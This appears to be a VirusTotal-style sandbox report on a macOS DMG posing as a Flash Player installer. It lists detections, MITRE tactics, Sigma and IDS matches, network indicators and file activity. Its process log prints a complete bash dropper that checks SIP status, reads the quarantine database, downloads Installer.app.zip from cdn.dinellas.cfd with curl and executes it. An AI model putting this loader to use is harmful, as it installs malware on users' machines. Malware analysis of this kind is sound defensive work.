d3fa64f63563fe958b75238742d1e473800cb5f49f5cb79d38d4aa3c93709026

Sign in | Sign up

24 / 63
Community Score

24/63 security vendors flagged this file as malicious

Reanalyze | Similar | More

d3fa64f63563fe958b75238742d1e473800cb5f49f5cb79d3…

Size 90.13 KB

Last Analysis Date 4 months ago

DMG

dmg | checks-hostname

DETECTION | DETAILS | RELATIONS | BEHAVIOR | COMMUNITY

Join our Community and enjoy additional community insights and crowdsourced detections, plus an API key to **automate checks.**

Display grouped sandbox reports

OS X Sand… ⚠ 2 | 8 | 3 | 3 | 6 | 31

VirusTotal… ⚠ 0 | 0 | 0 | 0 | 1 | 11

Activity Summary

Download Artifacts | Full Reports | Help

⚠ 2 Detections
1 MALWARE | 1 EVADER

Mitre Signatures
1 HIGH | 8 LOW | 24 INFO

IDS Rules
1 MEDIUM | 2 LOW

Sigma Rules
1 MEDIUM | 2 LOW

Dropped Files
1 XML | 1 ZIP | 1 MACH_O | 1 TEXT | 1 OTHER

Network comms
10 DNS | 27 IP | 5 JA3

Behavior Tags

checks-hostname

Dynamic Analysis Sandbox Detections

⚠ The sandbox OS X Sandbox flags this file as: MALWARE EVADER

MITRE ATT&CK Tactics and Techniques

- Execution TA0002
- Persistence TA0003
- Privilege Escalation TA0004
- Defense Evasion TA0005
- Discovery TA0007
- Exfiltration TA0010
- Command and Control TA0011
- Collection TA0035

Crowdsourced Sigma Rules

↳ *Detects the use of various web request commands with commandline tools and Windows PowerShell cmdlets (including aliases) via CommandLine*

⚠ Matches rule Startup Items by Alejandro Ortuno, oscd.community at Sigma Integrated Rule Set (GitHub)
↳ *Detects creation of startup item plist files that automatically get executed at boot initialization to establish persistence.*

⚠ Matches rule Curl Usage on Linux by Nasreddine Bencherchali (Nextron Systems) at Sigma Integrated Rule Set (GitHub)
↳ *Detects a curl process start on linux, which indicates a file download from a remote location or a simple web request to a remote server*

Crowdsourced IDS rules

⚠ Matches rule (stream_tcp) data sent on stream after TCP reset received at Snort registered user ruleset
↳ *bad-unknown*

⚠ Matches rule (stream_tcp) data sent on stream after TCP reset sent at Snort registered user ruleset
↳ *protocol-command-decode*

⚠ Matches rule (tcp) experimental TCP options found at Snort registered user ruleset
↳ *protocol-command-decode*

Network Communication

DNS Resolutions

+ 1449641439.rsc.cdn77.org
+ api.apple-cloudkit.fe.apple-dns.net
+ apps.mzstatic.com
+ cdn.dinellas.cfd
  fp2e7a.wpc.phicdn.net

IP Traffic

UDP 17.253.16.125:123
TCP 23.66.3.74:443
TCP 23.72.90.11:443
TCP 17.248.193.20:443
TCP 185.180.13.213:443 (cdn.dinellas.cfd)
TCP 17.248.195.73:443
TCP 17.253.144.10:443
TCP 17.253.5.208:443
TCP 44.235.85.225:443
TCP 100.22.10.168:443 (pubingress-feedback-1a6fe9caff1148fe.elb.us-west-2.amazonaws.com)

JA3 Digests

2bab0327a296230f9f6427341e716ea0
773906b0efdefa24a7f2b8eb6985bf37
fb3660676bafc9799c86bd51a1ea12f5
1d9437ff1aa1e958ed34a0fb0313f206
656b9a2f4de6ed4909e157482860ab3d

Memory Pattern Domains

cdn.dinellas.cfd

Memory Pattern Urls

https://cdn.dinellas.cfd/static/i2/Installer.app.zip

TLS

+ sandbox.itunes.apple.com

+ gsa.apple.com

Behavior Similarity Hashes

OS X Sandbox	6c68715d21deb72df339a994342ec21f
VirusTotal Box of Apples	15400088ff5a89babafc4b997d1f3d76

File system actions

Files Opened

- ..
- /Library/Application Support/CrashReporter/SubmitDiagInfo.domains
- /Library/InstallerSandboxes
- /Library/InstallerSandboxes/.PKInstallSandboxManager
- /Library/Preferences/com.apple.ViewBridge.plist
- /Library/Preferences/com.apple.networkd.plist
- /Library/Preferences/com.apple.networkextension.uuidcache.plist
- /System/Library/CoreServices/.SystemVersionPlatform.plist
- /System/Library/CoreServices/CoreTypes.bundle/Contents/Library/AppExceptions.bundle/Exceptions.plist
- /System/Library/CoreServices/CoreTypes.bundle/Contents/Library/InternalAppExceptions.bundle/Contents/Resources/Exceptions.plist

Files Written

- /private/var/folders/8s/wczf490s3zxb_mlq9d3sw90r0000gn/T/com.apple.remindd/TemporaryItems/NSIRD_remindd_q9i06D/RemoteConfiguratior
- /private/var/folders/8s/wczf490s3zxb_mlq9d3sw90r0000gn/T/tmp.40fBZtOQ/041918B5-DC4A-4B17-A725-99C3B985A6D5
- /private/var/folders/8s/wczf490s3zxb_mlq9d3sw90r0000gn/T/tmp.40fBZtOQ/Installer.app/Contents/Info.plist
- /private/var/folders/8s/wczf490s3zxb_mlq9d3sw90r0000gn/T/tmp.40fBZtOQ/Installer.app/Contents/MacOS/Installer
- /private/var/folders/8s/wczf490s3zxb_mlq9d3sw90r0000gn/T/tmp.40fBZtOQ/Installer.app/Contents/PkgInfo
- /private/var/folders/8s/wczf490s3zxb_mlq9d3sw90r0000gn/T/tmp.NjrV85OK
- /var/folders/8s/wczf490s3zxb_mlq9d3sw90r0000gn/T/com.apple.remindd/TemporaryItems/NSIRD_remindd_q9i06D/RemoteConfiguration.plist
- /var/folders/8s/wczf490s3zxb_mlq9d3sw90r0000gn/T/tmp.40fBZtOQ/041918B5-DC4A-4B17-A725-99C3B985A6D5
- Installer.app/Contents/Info.plist
- Installer.app/Contents/MacOS/Installer

Files Deleted

- /Users/maria/Library/Caches/com.apple.remindd/fsCachedData_remove
- /var/folders/8s/wczf490s3zxb_mlq9d3sw90r0000gn/T/com.apple.remindd/.LINKS/B9650393-FE82-4121-A078-CBF0D0810BD5
- /var/folders/8s/wczf490s3zxb_mlq9d3sw90r0000gn/T/com.apple.remindd/.LINKS/DB00B308-20EF-436A-A25C-29E9BEE167F9
- /var/folders/8s/wczf490s3zxb_mlq9d3sw90r0000gn/T/com.apple.remindd/tmpsqlitetruncatedbcbbEAh
- /var/folders/8s/wczf490s3zxb_mlq9d3sw90r0000gn/T/com.apple.remindd/tmpsqlitetruncatedbcbbEAh-journal
- /var/folders/8s/wczf490s3zxb_mlq9d3sw90r0000gn/T/tmp.NjrV85OK
- /var/folders/zz/zyxvpxvq6csfxvn_n0000000000000/C/PKInstallSandboxManager-shared-tmp
- 041918B5-DC4A-4B17-A725-99C3B985A6D5
- Info.plist
- Installer

Files With Modified Attributes

- /Users/maria/Library/Caches/com.apple.remindd/RemoteConfiguration.plist
- /var/folders/zz/zyxvpxvq6csfxvn_n0000000000000/C/PKInstallSandboxManager-shared-tmp

+ /private/var/folders/8s/wczf490s3zxb_mlq9d3sw90r0000gn/T/com.apple.remindd/TemporaryItems/NSIRD_remindd_q9i06D/RemoteConfiguration.plis

+ /private/var/folders/8s/wczf490s3zxb_mlq9d3sw90r0000gn/T/tmp.40fBZtOQ/Installer.app/Contents/MacOS/Installer
+ /private/var/folders/8s/wczf490s3zxb_mlq9d3sw90r0000gn/T/tmp.40fBZtOQ/Installer.app/Contents/PkgInfo
+ /private/var/folders/8s/wczf490s3zxb_mlq9d3sw90r0000gn/T/tmp.NjrV85OK
+ /Volumes/Install Flash Player/6yJ/saV0jHn.app/Contents/MacOS/saV0jHn

Process and service actions

Processes Created

/System/Library/PrivateFrameworks/PackageKit.framework/Resources/installd

/bin/bash -

/bin/bash /bin/sh -c command -v csrutil > /dev/null && csrutil status | grep -v 'enabled' > /dev/null && echo 1 || echo 0

/bin/bash /bin/sh /Volumes/Install Flash Player/6yJ/saV0jHn.app/Contents/MacOS/saV0jHn

/bin/bash sh -c temp_dir(){ if [-n '${TMPDIR}'] then echo '${TMPDIR}' else getconf DARWIN_USER_TEMP_DIR fi } did_dg(){ for volume in '/Volumes/'* do did_path='${volume}/.did' [-f '${did_path}']||continue did='$(cat '${did_path}')' [-z '${did}']&&continue echo '${did}' return done return 1 } where_from_url(){ /usr/bin/sqlite3 '${HOME}/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2' 'SELECT LSQuarantineDataURLString FROM LSQuarantineEvent ORDER BY LSQuarantineTimeStamp DESC LIMIT 1' 2>/dev/null } did_qe(){ url='$(where_from_url)' query='${url#*\?}' did_find=0 for param in ${query//[=&]/ } do if ['${did_find}' = 1] then echo '${param}' return fi ['${param}' = 'utm_source']||['${param}' = 'sidw']||['${param}' = 'neo']&&did_find=1 done return 1 } download(){ local -r url='${1}' local -r tmp_dir='${2}' local -r path='${tmp_dir}/$(uuidgen)' if output='$(curl -kLSs -m '30' -o '${path}' '${url}' 2>&1)' then echo '${path}' else return 1 fi } unarchive(){ local -r arc_path='${1}' local -r dst_dir='$(/usr/bin/dirname '${arc_path}')' /usr/bin/tar -xz -f '${arc_path}' -C '${dst_dir}'>/dev/null 2>&1&&echo '${dst_dir}' } app_path(){ local -r app_dir='${1}' local -r app_paths=('${app_dir}'/?*.app) local -r app_path='${app_paths[0]}' [-d '${app_path}']&&echo '${app_path}' } bin_path(){ local -r app_path='${1}' local -r binary_paths=('${app_path}/Contents/MacOS'/?*) local -r binary_path='${binary_paths[0]}' [-f '${binary_path}']&&echo '${binary_path}' } exec_bin(){ bin_path='${1}' did='${2}' '${bin_path}' -did '${did}' } WORK_DIR='$(mktemp -dt 'tmp')'||exit cleanup(){ rm -rf '${WORK_DIR}'>/dev/null 2>&1 exit } main(){ url='${1}' did='$(did_qe)'||did='$(did_dg)' if [-z '${did}'] then pv='$(/usr/bin/sw_vers -productVersion)'||cleanup tv='12.4' [['${pv}'<'${tv}']]&&cleanup fi arc_path='$(download '${url}' '${WORK_DIR}')'||cleanup app_dir='$(unarchive '${arc_path}')'||cleanup app_path='$(app_path '${app_dir}')'||cleanup bin_path='$(bin_path '${app_path}')'||cleanup exec_bin '${bin_path}' '${did}' cleanup } main 'https://cdn.dinellas.cfd/static/i2/Installer.app.zip'&

/bin/chmod chmod +x /var/folders/8s/wczf490s3zxb_mlq9d3sw90r0000gn/T/tmp.NjrV85OK

/bin/rm rm -rf /var/folders/8s/wczf490s3zxb_mlq9d3sw90r0000gn/T/tmp.40fBZtOQ

/usr/bin/csrutil csrutil status

/usr/bin/curl curl -kLSs -m 30 -o /var/folders/8s/wczf490s3zxb_mlq9d3sw90r0000gn/T/tmp.40fBZtOQ/041918B5-DC4A-4B17-A725-99C3B985A6D5 https://cdn.dinellas.cfd/static/i2/Installer.app.zip

/usr/bin/dirname /var/folders/8s/wczf490s3zxb_mlq9d3sw90r0000gn/T/tmp.40fBZtOQ/041918B5-DC4A-4B17-A725-99C3B985A6D5

Shell Commands

/bin/sh -c command -v csrutil > /dev/null && csrutil status | grep -v 'enabled' > /dev/null && echo 1 || echo 0

/bin/sh /Volumes/Install Flash Player/6yJ/saV0jHn.app/Contents/MacOS/saV0jHn

/usr/bin/dirname /var/folders/8s/wczf490s3zxb_mlq9d3sw90r0000gn/T/tmp.40fBZtOQ/041918B5-DC4A-4B17-A725-99C3B985A6D5

/usr/bin/open /Volumes/Install Flash Player/6yJ/saV0jHn.app

/usr/bin/sqlite3 /Users/maria/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2 SELECT LSQuarantineDataURLString FROM LSQuarantineEvent ORDER BY LSQuarantineTimeStamp DESC LIMIT 1

/usr/bin/sw_vers -productVersion

/usr/bin/tar -xz -f /var/folders/8s/wczf490s3zxb_mlq9d3sw90r0000gn/T/tmp.40fBZtOQ/041918B5-DC4A-4B17-A725-99C3B985A6D5 -C /var/folders/8s/wczf490s3zxb_mlq9d3sw90r0000gn/T/tmp.40fBZtOQ

/var/folders/8s/wczf490s3zxb_mlq9d3sw90r0000gn/T/tmp.40fBZtOQ/Installer.app/Contents/MacOS/Installer -did

/var/folders/8s/wczf490s3zxb_mlq9d3sw90r0000gn/T/tmp.NjrV85OK

chmod +x /var/folders/8s/wczf490s3zxb_mlq9d3sw90r0000gn/T/tmp.NjrV85OK

Processes Tree

866 - /usr/bin/open /Volumes/Install Flash Player/6yJ/saV0jHn.app

868 - /bin/bash /bin/sh /Volumes/Install Flash Player/6yJ/saV0jHn.app/Contents/MacOS/saV0jHn

↳ 869 - /usr/bin/mktemp mktemp

↳ 870 - /usr/bin/tail tail -c 8554 /Volumes/Install Flash Player/6yJ/saV0jHn.app/Contents/MacOS/saV0jHn

↳ 871 - /usr/bin/funzip funzip -8Cp7LZpf

↳ 874 - /var/folders/8s/wczf490s3zxb_mlq9d3sw90r0000gn/T/tmp.NjrV85OK

↳ 876 - /bin/bash sh -c temp_dir(){ if [-n '${TMPDIR}'] then echo '${TMPDIR}' else getconf DARWIN_USER_TEMP_DIR fi } did_dg(){ for volume in '/Volumes/'* do did_path='${volume}/.did' [-f '${did_path}']||continue did='$(cat '${did_path}')' [-z '${did}']&&continue echo '${did}' return done return 1 } where_from_url(){ /usr/bin/sqlite3 '${HOME}/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2' 'SELECT LSQuarantineDataURLString FROM LSQuarantineEvent ORDER BY LSQuarantineTimeStamp DESC LIMIT 1' 2>/dev/null } did_qe(){ url='$(where_from_url)' query='${url#*\?}' did_find=0 for param in ${query//[=&]/ } do if ['${did_find}' = 1] then echo '${param}' return fi ['${param}' = 'utm_source']||['${param}' = 'sidw']||['${param}' = 'neo']&&did_find=1 done return 1 } download(){ local -r url='${1}' local -r tmp_dir='${2}' local -r path='${tmp_dir}/$(uuidgen)' if output='$(curl -kLSs -m '30' -o '${path}' '${url}' 2>&1)' then echo '${path}' else return 1 fi } unarchive(){ local -r arc_path='${1}' local -r dst_dir='$(/usr/bin/dirname '${arc_path}')' /usr/bin/tar -xz -f '${arc_path}' -C '${dst_dir}'>/dev/null 2>&1&&echo '${dst_dir}' } app_path(){ local -r app_dir='${1}' local -r app_paths=('${app_dir}'/?*.app) local -r app_path='${app_paths[0]}' [-d '${app_path}']&&echo '${app_path}' } bin_path(){ local -r app_path='${1}' local -r binary_paths= ('${app_path}/Contents/MacOS'/?*) local -r binary_path='${binary_paths[0]}' [-f '${binary_path}']&&echo '${binary_path}' } exec_bin(){ bin_path='${1}' did='${2}' '${bin_path}' -did '${did}' } WORK_DIR='$(mktemp -dt 'tmp')'||exit cleanup(){ rm -rf '${WORK_DIR}'>/dev/null 2>&1 exit } main(){ url='${1}' did='$(did_qe)'||did='$(did_dg)' if [-z '${did}'] then pv='$(/usr/bin/sw_vers -productVersion)'||cleanup tv='12.4' [['${pv}'<'${tv}']]&&cleanup fi arc_path='$(download '${url}' '${WORK_DIR}')'||cleanup app_dir='$(unarchive '${arc_path}')'||cleanup app_path='$(app_path '${app_dir}')'||cleanup bin_path='$(bin_path '${app_path}')'||cleanup exec_bin '${bin_path}' '${did}' cleanup } main 'https://cdn.dinellas.cfd/static/i2/Installer.app.zip'&

↳ 877 - /bin/bash -

Highlighted actions

Highlighted Text

""